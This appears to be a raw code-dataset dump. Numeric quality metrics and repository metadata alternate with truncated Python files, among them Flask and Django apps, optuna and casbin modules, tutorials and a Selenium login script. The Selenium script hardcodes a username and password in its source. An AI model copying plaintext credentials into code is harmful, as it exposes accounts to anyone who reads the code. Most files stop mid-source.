0.294326
0.029542
0.059084
0.026588
0.104136
0.104136
0.104136
0.087149
0.087149
0.087149
0
0.018349
0.229342
2,263
75
136
30.173333
0.758028
0.022095
0
0.163934
0
0
0.052465
0.028042
0
0
0
0
0
0
null
null
0
0.04918
null
null
0.032787
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
04cc1b1f401f8deb8162a588147e27bded2a1615
1,949
py
Python
python_examples/welcome.py
kaalam/thetangle
4c4877ebc3c6f8cce86f1a43681359c16a51e2c9
[ "MIT" ]
1
2021-11-20T12:30:02.000Z
2021-11-20T12:30:02.000Z
python_examples/welcome.py
kaalam/thetangle
4c4877ebc3c6f8cce86f1a43681359c16a51e2c9
[ "MIT" ]
null
null
null
python_examples/welcome.py
kaalam/thetangle
4c4877ebc3c6f8cce86f1a43681359c16a51e2c9
[ "MIT" ]
null
null
null
""" Welcome to The TangleExplorer ! """ """ 0. The first time you run the TNG server, you have to dowload and compile The Tangle Follow the instructions in: https://kaalam.github.io/jazz_reference/reference_docker_tangle_server.html """ """ I M P O R T A N T N O T E : This is just a piece of software to help ...
31.95082
130
0.736788
336
1,949
4.181548
0.449405
0.070463
0.064769
0.040569
0.201423
0.123843
0.055516
0.055516
0.055516
0
0
0.006112
0.160595
1,949
60
131
32.483333
0.852689
0.015906
0
0
0
0
0.297118
0.243902
0
0
0
0
0
1
0
false
0
0.083333
0
0.083333
0.583333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
1
04ceeae78354536a9728b323c36a0db9f0cce2c7
2,862
py
Python
app/user_auth_views.py
luckyharryji/Plask
82508b48cb393a011641ac808cfea7323cd1bdfa
[ "MIT" ]
null
null
null
app/user_auth_views.py
luckyharryji/Plask
82508b48cb393a011641ac808cfea7323cd1bdfa
[ "MIT" ]
null
null
null
app/user_auth_views.py
luckyharryji/Plask
82508b48cb393a011641ac808cfea7323cd1bdfa
[ "MIT" ]
null
null
null
#coding=utf-8 from flask import render_template, flash, redirect, url_for, g, request from app import app, lm, db from forms import LoginForm, RegisterForm from flask.ext.login import login_user, logout_user, current_user, login_required from models import User import re import sys reload(sys) sys.setdefaultencoding('...
26.018182
90
0.68833
409
2,862
4.704156
0.232274
0.068607
0.050936
0.06237
0.446985
0.408524
0.384615
0.365385
0.351871
0.217775
0
0.000837
0.165269
2,862
109
91
26.256881
0.804521
0.004193
0
0.344444
0
0
0.113373
0
0
0
0
0
0
1
0.066667
false
0.122222
0.077778
0.011111
0.3
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
04d57551e2349970e7fe7a100a4be6c7f4f74e13
567
py
Python
剑指Offer/No_55_2.py
lih627/python-algorithm-templates
a61fd583e33a769b44ab758990625d3381793768
[ "MIT" ]
24
2020-03-28T06:10:25.000Z
2021-11-23T05:01:29.000Z
剑指Offer/No_55_2.py
lih627/python-algorithm-templates
a61fd583e33a769b44ab758990625d3381793768
[ "MIT" ]
null
null
null
剑指Offer/No_55_2.py
lih627/python-algorithm-templates
a61fd583e33a769b44ab758990625d3381793768
[ "MIT" ]
8
2020-05-18T02:43:16.000Z
2021-05-24T18:11:38.000Z
# Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: def isBalanced(self, root: TreeNode) -> bool: def balanced(node): if not node: return True, 0 ...
25.772727
49
0.492063
71
567
3.873239
0.521127
0.130909
0
0
0
0
0
0
0
0
0
0.014881
0.407407
567
21
50
27
0.803571
0.262787
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0
0
0
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
04df5ace15ecf002b804beff354c72b4b1d3aca6
6,157
py
Python
Basics_DataTypes/Sets.py
sudipkrk/Python_from_Scratch
2b414fd3d8c9694db50c61baaf424e945fbe35aa
[ "MIT" ]
1
2021-07-19T10:07:59.000Z
2021-07-19T10:07:59.000Z
Basics_DataTypes/Sets.py
sudipkrk/Python_from_Scratch
2b414fd3d8c9694db50c61baaf424e945fbe35aa
[ "MIT" ]
null
null
null
Basics_DataTypes/Sets.py
sudipkrk/Python_from_Scratch
2b414fd3d8c9694db50c61baaf424e945fbe35aa
[ "MIT" ]
null
null
null
#@ Sets : used to store multiple items in a single variable. #@ These are immutable, unordered and unindexed. And duplicates are not allowed in sets. #@ Use the curly brackets -> {} to create a set #@ set can be of any data type #@ Examples myset = {'apple', 'banana', 'orange'} # Cre...
66.204301
160
0.436414
656
6,157
4.085366
0.240854
0.031343
0.033955
0.038806
0.118657
0.084328
0.065672
0.065672
0.041791
0.041791
0
0.0143
0.500244
6,157
92
161
66.923913
0.856679
0.42878
0
0.339286
0
0
0.037714
0
0
0
0
0
0
1
0
false
0
0
0
0
0.357143
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
04e099a4d954a7885dde4b77c5a8e0d2e91b8314
1,107
py
Python
optuna/pruners/__init__.py
captain-pool/optuna
2ae8c17afea54362460320870304c763e91c0596
[ "MIT" ]
4,950
2019-11-15T07:35:51.000Z
2022-03-31T10:32:42.000Z
optuna/pruners/__init__.py
SCUTJcfeng/optuna
9331374a2460da067a6922e4ea09dd4706f3d950
[ "MIT" ]
2,490
2019-11-15T07:06:20.000Z
2022-03-31T23:52:45.000Z
optuna/pruners/__init__.py
SCUTJcfeng/optuna
9331374a2460da067a6922e4ea09dd4706f3d950
[ "MIT" ]
621
2019-11-15T11:26:57.000Z
2022-03-28T11:46:34.000Z
from typing import TYPE_CHECKING from optuna.pruners._base import BasePruner from optuna.pruners._hyperband import HyperbandPruner from optuna.pruners._median import MedianPruner from optuna.pruners._nop import NopPruner from optuna.pruners._patient import PatientPruner from optuna.pruners._percentile import Percentil...
29.918919
88
0.766034
119
1,107
6.92437
0.394958
0.121359
0.165049
0.053398
0
0
0
0
0
0
0
0
0.160795
1,107
36
89
30.75
0.886975
0.060524
0
0
0
0
0.129094
0.022158
0
0
0
0
0
1
0.035714
false
0
0.392857
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
04e2062fcfd90b0198e33c8160f2903fd4069e92
583
py
Python
library/packages/admin.py
thermokarst-forks/library
2d13e85a5b2c2992e024769158bcd6885ffcce9e
[ "BSD-3-Clause" ]
1
2018-08-16T22:34:04.000Z
2018-08-16T22:34:04.000Z
library/packages/admin.py
thermokarst-forks/library
2d13e85a5b2c2992e024769158bcd6885ffcce9e
[ "BSD-3-Clause" ]
null
null
null
library/packages/admin.py
thermokarst-forks/library
2d13e85a5b2c2992e024769158bcd6885ffcce9e
[ "BSD-3-Clause" ]
null
null
null
from django.contrib import admin from .models import Package, PackageBuild class PackageBuildInline(admin.TabularInline): model = PackageBuild readonly_fields = ('package', 'github_run_id', 'version') extra = 0 can_delete = False class PackageAdmin(admin.ModelAdmin): readonly_fields = ('name', ...
24.291667
61
0.747856
60
583
7.133333
0.533333
0.098131
0.098131
0.126168
0.182243
0.182243
0.182243
0
0
0
0
0.002
0.142367
583
23
62
25.347826
0.854
0
0
0.142857
0
0
0.125214
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.857143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
04f340fbe83331013ceb88840a2f5fe6d9acebc2
1,273
py
Python
tests/python/pycasbin_test_suite.py
lezli01/casbin-cpp
24d43cee747a514a63bcad1aae4953e981e484c3
[ "Apache-2.0" ]
null
null
null
tests/python/pycasbin_test_suite.py
lezli01/casbin-cpp
24d43cee747a514a63bcad1aae4953e981e484c3
[ "Apache-2.0" ]
null
null
null
tests/python/pycasbin_test_suite.py
lezli01/casbin-cpp
24d43cee747a514a63bcad1aae4953e981e484c3
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 The casbin Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applic...
29.604651
75
0.743126
172
1,273
5.406977
0.581395
0.064516
0.058065
0.119355
0.132258
0
0
0
0
0
0
0.010536
0.17989
1,273
42
76
30.309524
0.880268
0.49568
0
0
0
0
0.01278
0
0
0
0
0
0
1
0.047619
false
0
0.333333
0
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
04f9c470ab4651b45902a20abeeb4edab7d93d0c
1,068
py
Python
test/utils/devices/ph_probe_mock_test.py
kieransukachevin/AlkalinityTitrator
09b642ee1368278b7b4fc180bed50ff538a0938a
[ "MIT" ]
null
null
null
test/utils/devices/ph_probe_mock_test.py
kieransukachevin/AlkalinityTitrator
09b642ee1368278b7b4fc180bed50ff538a0938a
[ "MIT" ]
31
2021-06-29T17:53:56.000Z
2021-08-19T21:59:03.000Z
test/utils/devices/ph_probe_mock_test.py
kieransukachevin/AlkalinityTitrator
09b642ee1368278b7b4fc180bed50ff538a0938a
[ "MIT" ]
4
2021-02-12T23:21:17.000Z
2021-11-15T16:55:38.000Z
import pytest import titration.utils.devices.board_mock as board_mock import titration.utils.devices.ph_probe_mock as ph_probe_mock def test_ph_create(): ph = ph_probe_mock.pH_Probe(board_mock.SCL, board_mock.SDA) assert ph is not None def test_ph_create_null(): ph = ph_probe_mock.pH_Probe(None, None) ...
23.217391
63
0.700375
182
1,068
3.802198
0.208791
0.141619
0.127168
0.112717
0.615607
0.615607
0.615607
0.514451
0.393064
0.393064
0
0.019722
0.192884
1,068
45
64
23.733333
0.783063
0
0
0.413793
0
0
0
0
0
0
0
0
0.206897
1
0.206897
false
0
0.103448
0
0.310345
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
b6bf51d40278ce4e1770aa55c0402ddffbaac7d1
4,876
py
Python
module/platform_node.py
doudoudzj/python-learn
ccb2210e986288f7b0e34c16f55e5a2851e80cf7
[ "BSD-3-Clause" ]
null
null
null
module/platform_node.py
doudoudzj/python-learn
ccb2210e986288f7b0e34c16f55e5a2851e80cf7
[ "BSD-3-Clause" ]
null
null
null
module/platform_node.py
doudoudzj/python-learn
ccb2210e986288f7b0e34c16f55e5a2851e80cf7
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # coding=utf-8 # platform_node.py # https://www.cnblogs.com/hongten/p/hongten_python_platform.html import platform ''' python中,platform模块给我们提供了很多方法去获取操作系统的信息 如: import platform platform.platform() #获取操作系统名称及版本号,'Linux-3.13.0-46-generic-i686-with-Deepin-2014.2-trus...
25.798942
150
0.65566
555
4,876
5.542342
0.21982
0.061443
0.027308
0.056892
0.221391
0.171652
0.170026
0.154421
0.095579
0.058518
0
0.018182
0.199139
4,876
188
151
25.93617
0.769526
0.159557
0
0.065934
0
0
0.164549
0
0
0
0
0
0
1
0.241758
false
0
0.010989
0
0.417582
0.362637
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
b6c56b5f68188582cabf5cbccf6cc782f9460133
22,361
py
Python
textboard/board.py
iMalinois/TextBoard
ca8c61ae1969c0a0c0863226771cd06cc13fcb43
[ "MIT" ]
3
2019-05-21T22:56:58.000Z
2020-07-29T12:01:48.000Z
textboard/board.py
iMalinois/TextBoard
ca8c61ae1969c0a0c0863226771cd06cc13fcb43
[ "MIT" ]
6
2019-05-21T07:26:04.000Z
2019-05-24T13:10:05.000Z
textboard/board.py
iMalinois/TextBoard
ca8c61ae1969c0a0c0863226771cd06cc13fcb43
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 from __future__ import print_function from copy import copy from collections import OrderedDict from abc import ABCMeta, abstractmethod, abstractproperty from textboard.ansi import ANSI LOG_BOARD_DEFAULT_LINES_COUNT = 20 LOG_BOARD_SECTOR_DEFAULT_LINES_COUNT = 4 def _validate_id_property(cls...
35.663477
162
0.618398
2,938
22,361
4.505786
0.097345
0.046835
0.038299
0.016694
0.41955
0.340988
0.272095
0.232135
0.209246
0.183865
0
0.000447
0.299495
22,361
627
163
35.663477
0.844676
0.351907
0
0.286624
0
0
0.040501
0
0
0
0
0
0
1
0.219745
false
0.028662
0.015924
0
0.388535
0.015924
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
b6c82c22096c001538617e60b4c65e0821866b31
6,593
py
Python
script/prepare_active_learning.py
oliverwatts/snickery
6d7e0b48cbb21760089bbbe85f6d7bd206f89821
[ "Apache-2.0" ]
28
2018-06-26T02:57:45.000Z
2021-12-01T01:07:23.000Z
script/prepare_active_learning.py
oliverwatts/snickery
6d7e0b48cbb21760089bbbe85f6d7bd206f89821
[ "Apache-2.0" ]
1
2018-11-02T09:29:29.000Z
2018-11-02T10:20:28.000Z
script/prepare_active_learning.py
oliverwatts/snickery
6d7e0b48cbb21760089bbbe85f6d7bd206f89821
[ "Apache-2.0" ]
5
2018-12-21T08:05:06.000Z
2021-01-16T16:43:42.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- ## Project: ## Contact: Oliver Watts - owatts@staffmail.ed.ac.uk import sys import os import glob import os import fileinput from argparse import ArgumentParser import shelve import h5py import numpy import numpy as np from train_halfphone import get_data_dump_name fr...
26.162698
115
0.609586
882
6,593
4.346939
0.31746
0.007303
0.025561
0.009129
0.189098
0.129369
0.10746
0.08555
0.069901
0.069901
0
0.021405
0.2489
6,593
251
116
26.266932
0.752827
0.272107
0
0.106796
0
0
0.048858
0
0
0
0
0
0
0
null
null
0
0.15534
null
null
0.116505
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b6cb847d557da703ed48e69c2c1a9916ef360141
598
py
Python
capella_console_client/cli/sanitize.py
capellaspace/console-client
bad631f207043231630c9b8c0893a1b4382d4061
[ "MIT" ]
23
2021-07-28T19:32:25.000Z
2022-03-19T07:57:36.000Z
capella_console_client/cli/sanitize.py
capellaspace/console-client
bad631f207043231630c9b8c0893a1b4382d4061
[ "MIT" ]
6
2021-07-16T22:31:56.000Z
2022-03-11T21:09:40.000Z
capella_console_client/cli/sanitize.py
capellaspace/console-client
bad631f207043231630c9b8c0893a1b4382d4061
[ "MIT" ]
1
2022-01-05T18:38:46.000Z
2022-01-05T18:38:46.000Z
import json from uuid import UUID from pathlib import Path from typing import List, Dict, Any, Iterable class SafeEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, UUID): # if the obj is uuid, we simply return the value of uuid return obj.hex return json...
26
68
0.670569
89
598
4.370787
0.426966
0.102828
0.071979
0
0
0
0
0
0
0
0
0
0.244147
598
22
69
27.181818
0.860619
0.090301
0
0
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0.25
0
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
b6cbfc1847ede598c7c1e4c45f5ef9f8cdf47c97
1,165
py
Python
portal/libs/scripts/snapshots.py
Artis-Physis/utopia-cms
5cb8d941d0b2df53fddc566a52e9d3baee4a007e
[ "BSD-3-Clause" ]
8
2020-12-15T17:11:08.000Z
2021-12-13T22:08:33.000Z
portal/libs/scripts/snapshots.py
Artis-Physis/utopia-cms
5cb8d941d0b2df53fddc566a52e9d3baee4a007e
[ "BSD-3-Clause" ]
28
2020-12-15T17:34:03.000Z
2022-02-01T04:09:10.000Z
portal/libs/scripts/snapshots.py
Artis-Physis/utopia-cms
5cb8d941d0b2df53fddc566a52e9d3baee4a007e
[ "BSD-3-Clause" ]
7
2020-12-15T19:59:17.000Z
2021-11-24T16:47:06.000Z
#!/usr/bin/python # -*- coding utf-8 -*- import os import subprocess def make_snapshot(filename, page=0): output = filename.replace('.pdf', '.jpg') if os.path.exists(output): return None # os.unlink(output) print filename args = ['convert', '%s[%i]' % (filename, page), output] stde...
27.093023
81
0.556223
149
1,165
4.248322
0.42953
0.044234
0.014218
0.012638
0.011058
0
0
0
0
0
0
0.006046
0.290129
1,165
42
82
27.738095
0.759371
0.04721
0
0.142857
0
0
0.053297
0
0
0
0
0
0
0
null
null
0
0.057143
null
null
0.057143
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b6d182de999f2b8dda4a0f8767443a13245f8b9e
710
py
Python
nmtpytorch/layers/pw/embedding.py
toshohirasawa/nmtpytorch-emb-pred
3b2d60990967c391aa32ce1e1a9e5cef6229c705
[ "MIT" ]
4
2019-05-22T00:17:28.000Z
2020-08-26T02:03:33.000Z
nmtpytorch/layers/pw/embedding.py
toshohirasawa/nmtpytorch-emb-pred
3b2d60990967c391aa32ce1e1a9e5cef6229c705
[ "MIT" ]
3
2019-07-14T09:17:11.000Z
2022-01-13T01:15:10.000Z
nmtpytorch/layers/pw/embedding.py
toshohirasawa/nmtpytorch-emb-pred
3b2d60990967c391aa32ce1e1a9e5cef6229c705
[ "MIT" ]
null
null
null
from torch import nn import torch class EmbeddingOutput(nn.Module): def __init__(self, n_vocab, emb_size, weight=None): super().__init__() self.n_vocab, self.emb_size = n_vocab, emb_size if weight == None: weight = torch.randn(n_vocab, emb_size) # travarse matrix for ...
29.583333
65
0.650704
95
710
4.515789
0.442105
0.083916
0.083916
0.121212
0.079254
0
0
0
0
0
0
0
0.249296
710
23
66
30.869565
0.804878
0.139437
0
0
0
0
0.082237
0.080592
0
0
0
0
0
1
0.2
false
0
0.133333
0.133333
0.533333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
b6d4d24a9d02c1d338914db5f0e973ea12ab7e75
1,793
py
Python
login.py
2oYC/Monopoly
c039cddadb38326bc4ce1ddd36c3a51887e9fbe2
[ "MIT" ]
null
null
null
login.py
2oYC/Monopoly
c039cddadb38326bc4ce1ddd36c3a51887e9fbe2
[ "MIT" ]
null
null
null
login.py
2oYC/Monopoly
c039cddadb38326bc4ce1ddd36c3a51887e9fbe2
[ "MIT" ]
null
null
null
from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC import time usernameStr = 'user_teamj' passwordStr = 'aad@123' def login(quesno,diff): # diff = 0 # # difficulty ...
27.166667
89
0.662019
220
1,793
5.263636
0.445455
0.066494
0.108808
0.120898
0.205527
0.1019
0.055268
0
0
0
0
0.014493
0.191857
1,793
65
90
27.584615
0.784679
0.232013
0
0
0
0
0.18893
0.115867
0
0
0
0
0
1
0.032258
false
0.096774
0.16129
0
0.193548
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
b6d96dd49a13b9761c39ef2d1c9b9e38d768bfea
1,855
py
Python
setup.py
boryana-ilieva/soepy_dev
98655bb1d7012c5554201a8dcfb728eeeaadf5bf
[ "MIT" ]
null
null
null
setup.py
boryana-ilieva/soepy_dev
98655bb1d7012c5554201a8dcfb728eeeaadf5bf
[ "MIT" ]
null
null
null
setup.py
boryana-ilieva/soepy_dev
98655bb1d7012c5554201a8dcfb728eeeaadf5bf
[ "MIT" ]
null
null
null
import os import sys from shutil import rmtree from setuptools import find_packages, setup, Command # Package meta-data. NAME = "soepy" DESCRIPTION = ( "soepy is an open-source Python package for the simulation and estimation of a " "dynamic model of human capital accumulation tailored to the German Socio-Eco...
24.733333
87
0.654987
231
1,855
5.203463
0.584416
0.019967
0.016639
0.023295
0
0
0
0
0
0
0
0.007581
0.21779
1,855
74
88
25.067568
0.814611
0.068464
0
0.057692
0
0
0.308275
0
0
0
0
0
0
1
0.076923
false
0.057692
0.076923
0
0.211538
0.019231
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
b6dae59c813a21c1bae77174eb41e6d55a7c96e9
1,833
py
Python
Sort/IndexMinPQ.py
sywh/algorithms
8df353aa6716f2ed83e9167a27ceb6d3384891da
[ "MIT" ]
null
null
null
Sort/IndexMinPQ.py
sywh/algorithms
8df353aa6716f2ed83e9167a27ceb6d3384891da
[ "MIT" ]
null
null
null
Sort/IndexMinPQ.py
sywh/algorithms
8df353aa6716f2ed83e9167a27ceb6d3384891da
[ "MIT" ]
null
null
null
class IndexMinPQ: # refer to https://www.cnblogs.com/nullzx/p/6624731.html def __init__(self, max): # how about resize? self.pq = [None] * (max + 1) self.qp = [None] * (max + 1) # inverse of pq: qp[pq[i]] = pq[qp[i]] = i self.keys = [None] * (max + 1) # keys[i] = priority of i se...
25.458333
80
0.454446
282
1,833
2.939716
0.198582
0.094089
0.033776
0.039807
0.137515
0.050663
0
0
0
0
0
0.025203
0.39389
1,833
71
81
25.816901
0.720972
0.085652
0
0.068966
0
0
0
0
0
0
0
0
0.017241
1
0.206897
false
0
0
0.051724
0.327586
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
b6e017a707606aa130c9e5c3bc33df054392f69e
4,208
py
Python
gunnery/core/migrations/0005_auto__add_serverauthentication__add_field_server_method.py
timgates42/gunnery
733a261cae6243a11883a40e18b14f57cf6e47b2
[ "Apache-2.0" ]
314
2015-01-01T06:17:34.000Z
2022-03-10T03:34:02.000Z
gunnery/core/migrations/0005_auto__add_serverauthentication__add_field_server_method.py
timgates42/gunnery
733a261cae6243a11883a40e18b14f57cf6e47b2
[ "Apache-2.0" ]
20
2015-04-03T13:34:59.000Z
2021-06-10T20:37:25.000Z
gunnery/core/migrations/0005_auto__add_serverauthentication__add_field_server_method.py
pkucmus/gunnery
30fce7f3fd74947621da6e91c1e872f383fc1e71
[ "Apache-2.0" ]
57
2015-01-07T05:41:34.000Z
2021-10-31T19:56:50.000Z
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'ServerAuthentication' db.create_table(u'core_serverauthen...
56.106667
165
0.57557
430
4,208
5.532558
0.202326
0.087432
0.147121
0.210172
0.564943
0.527112
0.503153
0.366961
0.295502
0.210593
0
0.007764
0.204135
4,208
75
166
56.106667
0.702598
0.036835
0
0.116667
0
0
0.523468
0.271245
0
0
0
0
0
1
0.033333
false
0.033333
0.066667
0
0.15
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b6e0c18e1b0c4376c070fbdb4d419c07ae32956c
3,160
py
Python
t1_extract_data_from_db.py
AuthEceSoftEng/MiningSOAnswerEdits
3353db1dabf592df5e4c569f6ebb6e1a752a4a24
[ "Apache-2.0" ]
1
2020-11-06T03:45:56.000Z
2020-11-06T03:45:56.000Z
t1_extract_data_from_db.py
AuthEceSoftEng/MiningSOAnswerEdits
3353db1dabf592df5e4c569f6ebb6e1a752a4a24
[ "Apache-2.0" ]
null
null
null
t1_extract_data_from_db.py
AuthEceSoftEng/MiningSOAnswerEdits
3353db1dabf592df5e4c569f6ebb6e1a752a4a24
[ "Apache-2.0" ]
2
2020-11-02T08:16:06.000Z
2020-12-09T04:01:18.000Z
from pandas import DataFrame import mysql.connector as mc from properties import user, password, host, port, database, data_path cnx = mc.connect(user=user, password=password, host=host, port=port, database=database) cursor = cnx.cursor() # Find answer(with code block which has changed at least once) ids sql1...
39.5
184
0.774684
489
3,160
4.916155
0.220859
0.146007
0.106073
0.055324
0.509567
0.442596
0.37604
0.326123
0.291181
0.291181
0
0.053914
0.143038
3,160
79
185
40
0.833826
0.119304
0
0.196721
0
0.04918
0.758813
0.26308
0
0
0
0
0
1
0
false
0.032787
0.04918
0
0.04918
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b6ea62493bb53238356a18063f57e6e79423b5be
328
py
Python
vgrocery/main.py
ViniciusMadureira/ifsp-oop2-exercise001
c66727bfde82ee96b10b81a84f6b52bbcb62f68b
[ "CC0-1.0" ]
null
null
null
vgrocery/main.py
ViniciusMadureira/ifsp-oop2-exercise001
c66727bfde82ee96b10b81a84f6b52bbcb62f68b
[ "CC0-1.0" ]
null
null
null
vgrocery/main.py
ViniciusMadureira/ifsp-oop2-exercise001
c66727bfde82ee96b10b81a84f6b52bbcb62f68b
[ "CC0-1.0" ]
null
null
null
# This Python file uses the following encoding: utf-8 from PyQt5 import QtCore, QtGui, QtWidgets from view.productsview import ProductsView if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) pv = ProductsView() #pv.pte_product_value.installEventFilter(self) sys.exit(app.e...
27.333333
53
0.740854
42
328
5.52381
0.761905
0
0
0
0
0
0
0
0
0
0
0.007326
0.167683
328
11
54
29.818182
0.842491
0.292683
0
0
0
0
0.034935
0
0
0
0
0
0
1
0
false
0
0.428571
0
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
b6ec13e7e4ba96b5a332cf789b0ce2b80b637f18
880
py
Python
proxion/util/common.py
WhiteOnBlackCode/proxion
6c6fda6f3017ad28f917a0d6d18b0b18aabb248b
[ "MIT" ]
4
2018-09-08T18:41:09.000Z
2019-07-18T03:20:53.000Z
proxion/util/common.py
codeswhite/proxion
6c6fda6f3017ad28f917a0d6d18b0b18aabb248b
[ "MIT" ]
9
2021-06-26T07:44:08.000Z
2021-07-10T05:32:22.000Z
proxion/util/common.py
WhiteOnBlackCode/proxion
6c6fda6f3017ad28f917a0d6d18b0b18aabb248b
[ "MIT" ]
null
null
null
from site import USER_BASE from ipaddress import AddressValueError, IPv4Address from pathlib import Path from random import choice from termcolor import cprint from interutils import clear class InvalidProxyFormatError(Exception): pass def is_ip_address(ip_addr: str) -> bool: try: IPv4Address(ip_ad...
20.465116
81
0.657955
117
880
4.854701
0.495727
0.116197
0.038732
0.045775
0.059859
0
0
0
0
0
0
0.014107
0.275
880
42
82
20.952381
0.876176
0.078409
0
0.333333
0
0
0.001245
0
0
0
0
0
0
1
0.066667
false
0.033333
0.2
0
0.566667
0.033333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
b6ee407db83d6ab01037c334c2bf8e1bea1a5bf8
685
py
Python
mail/views.py
lxdiyun/mail_sender
fda1cbb413f8647c2ab5be858ec0aaa32a0fbfac
[ "BSD-3-Clause" ]
null
null
null
mail/views.py
lxdiyun/mail_sender
fda1cbb413f8647c2ab5be858ec0aaa32a0fbfac
[ "BSD-3-Clause" ]
null
null
null
mail/views.py
lxdiyun/mail_sender
fda1cbb413f8647c2ab5be858ec0aaa32a0fbfac
[ "BSD-3-Clause" ]
null
null
null
""" mail app views""" from django.http import Http404 from django.http import HttpResponse from mail.models import Receiver, Mail, generate_mail_conent def mail_demo_view(request, mail_id, receiver_id): """ final mail demo """ if mail_id: try: mail = Mail.objects.get(pk=mail_id) ...
25.37037
65
0.649635
85
685
5.094118
0.4
0.04157
0.064665
0.092379
0
0
0
0
0
0
0
0.012
0.270073
685
26
66
26.346154
0.854
0.045255
0
0.111111
1
0
0.040562
0
0
0
0
0
0
1
0.055556
false
0
0.166667
0
0.277778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b6f087683a1ffd2178d9ae0471c0a084774f2ca3
2,256
py
Python
analysis_tools/PYTHON_RICARDO/rpl/tools/ray_tracing/test_bsp.py
lefevre-fraser/openmeta-mms
08f3115e76498df1f8d70641d71f5c52cab4ce5f
[ "MIT" ]
null
null
null
analysis_tools/PYTHON_RICARDO/rpl/tools/ray_tracing/test_bsp.py
lefevre-fraser/openmeta-mms
08f3115e76498df1f8d70641d71f5c52cab4ce5f
[ "MIT" ]
null
null
null
analysis_tools/PYTHON_RICARDO/rpl/tools/ray_tracing/test_bsp.py
lefevre-fraser/openmeta-mms
08f3115e76498df1f8d70641d71f5c52cab4ce5f
[ "MIT" ]
null
null
null
